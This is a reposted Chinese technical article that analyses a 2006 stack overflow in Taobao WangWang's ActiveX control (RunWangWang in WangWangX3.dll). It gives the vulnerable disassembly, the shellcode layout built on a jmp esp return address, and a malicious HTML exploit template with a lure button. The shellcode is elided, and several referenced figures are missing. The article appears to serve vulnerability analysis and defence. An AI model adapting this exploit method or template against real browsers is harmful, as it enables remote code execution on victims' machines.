ActiveX控件的保护技术之淘宝旺旺溢出分析

来源:互联网 发布:stm32编程入门百度云 编辑:程序博客网 时间:2024/04/30 00:57

本文仅从反漏洞exploit、反调试和反逆向三个方面来阐述如何保护ActiveX控件的安全。

1、反0day攻击:
1.1  ActiveX控件所受的0day攻击威胁

 黑客通过对ActiveX控件进行逆向分析,可以挖掘控件的漏洞信息,从而对具有溢出漏洞的ActiveX控件实施0day攻击。虽然溢出攻击采取的形式有很多而且不一样,但是采取的攻击过程是一样的,都是构造精确的shellcode,然后触发包含有漏洞的代码接收shellcode,并实现跳转。

下面以阿里巴巴淘宝旺旺ActiveX远程栈溢出为例,来描述ActiveX控件所遭受的栈溢出0day攻击,其它形式的溢出与此类似。

软件说明:

淘宝旺旺是阿里巴巴出名的即时通信软件,主要用于对淘宝网提供IM支持。
受影响的软件版本:
 2006
1222号之前的淘宝旺旺或者某些未升级版本。
漏洞细节:
 
漏洞存在于由ActiveX控件"WangWangX3.dll"导出的"RunWangWang()"函数中,相关信息如下:
 InprocServer32:    WangWangX3.dll                           //控件的服务DLL文件
 ClassID      :       6E213FC7-DD5A-4115-B7E6-D4C7838C361E   //
控件的GUID
 long RunWangWang([in] BSTR pWebParam);                   //
控件中发生溢出函数

当设置超长的pWebParam值,将触发栈溢出,相关代码:
 1    push    edi
 2    push    eax                      //  pWebParam
所指字符串"SSSSSSSSSSSSSSSS..."地址
 3    lea     eax, [ebp-114h]
 4    push    eax                      //  "D:/
淘宝旺旺/WangWang.exe"
 5    call    _strcat                  //   stack overflow
 6    lea     eax, [ebp-114h]
 7    push    esi                        
 8    push    eax                       
 9    call    _strcat
 
5行代码调用c runtime 函数strcatstrcat的原形如下:

 char * strcat(char *DestinationString, const char* SourceString);
 
由于strcat函数仅是简单地将SourceString所指的字符串拼接到DestinationString所指的字符串空间中,并没有对SourceString所指串长度加上DestinationString所指串长度之和是否超过DestinationString所指空间做出检测。所以,当SourceString所指串过长,以致于两串之和超过DestinationString所指空间时,就会发生缓冲区溢出。strcat函数溢出逻辑图见图 1-1

漏洞exploit过程:
 
为了清楚的描述该漏洞的exploit过程,以下将从构造shellcode、构造恶意html和栈溢出exploit三个方面来描述。

构造shellcode
   
通过调试,
strcat被调用时,系统栈的情况如下图1-2所示:

从图1-2可知,只要我们给RunWangWang(IN BSTR pWebParam)这个函数的参数pWebParam指针,传递一块足够大的内存,就可以使图1-2红色区域覆盖从绿色指针既DestinationString所指区域跃过目地串长度之后开始的区域。与此同时,当把图1-2 RunWangWang栈桢中的ReturnAddr1替换成定位shellcode的指令地址时,只要RunWangWang函数返回就会发生栈溢出。因此,对于这个漏洞的shellcode的构造可以是如下形式:
 shellcode =  恶意代码 + 动态定位shellcode的指令地址(如系统中的jmp esp指令的地址) + jmp esp-X

 对漏洞细节中的第345条指令的研究可知,从shellcode代码的开始偏移((276-strlen(D:/淘宝旺旺/WangWang.exe)-1)+4)字节(假设是X-4字节)处应该是填动态定位shellcode的指令地址。shellcode的逻辑构成见下图1-3

构造恶意html

在利用ActiveX控件进行0day攻击中,恶意html的作用就是通过利用ActiveX漏洞来激发溢出。恶意html的类似代码如下所示:
<html>
<head>
<OBJECT ID="com" CLASSID="CLSID:{ 6E213FC7-DD5A-4115-B7E6-D4C7838C361E }">
</OBJECT>
</head>
<body>
<SCRIPT language="javascript">

 var shellcode = “/u68fc …”;   

function ClickForBeautifulGirl()
{
   com.RunWangWang(shellcode);

}
</script>
<button onclick="javascript: ClickForBeautifulGirl ();">ClickForBeautifulGirl </button>
</body>
</html>

RunWangWang函数执行完ret指令后系统栈见下图1-5

 

由图1-5可知,当ret指令执行完后,此时的eip等于jmp esp指令的地址。因此,当ret执行完后,cpu继续读取eip执行时,将执行jmp esp指令而不是原来的调用RunWangWang时的下条指令的地址。此时的eip指向示意图见图1-6

由图1-7可知,现在的eip指向系统栈中jmp esp-X指令所在的地址,cpueip执行时,就相当于执行jmp esp-X,其结果是cpu跳转到恶意代码的开始,从此往后cpu取恶意代码指令在系统上执行。

 

 

上面这段脚本用IE打开会呈现一个按钮,一旦用户按下这个按钮,就会触发调用ActiveX控件的导出函数RunWangWang。当RunWangWang函数接收黑客精心构造的shellcode参数之后,就会产生栈溢出并跳转的真正的shellcode去执行,从而实现恶意攻击。

 栈溢出exploit
 
恶意html执行后,ActiveX控件的RunWangWang函数被调用,并以包含shellcode代码的内存的地址作为输入参数。下图 1-4描述了RunWangWang函数执行到ret指令之前系统栈状况:

原创粉丝点击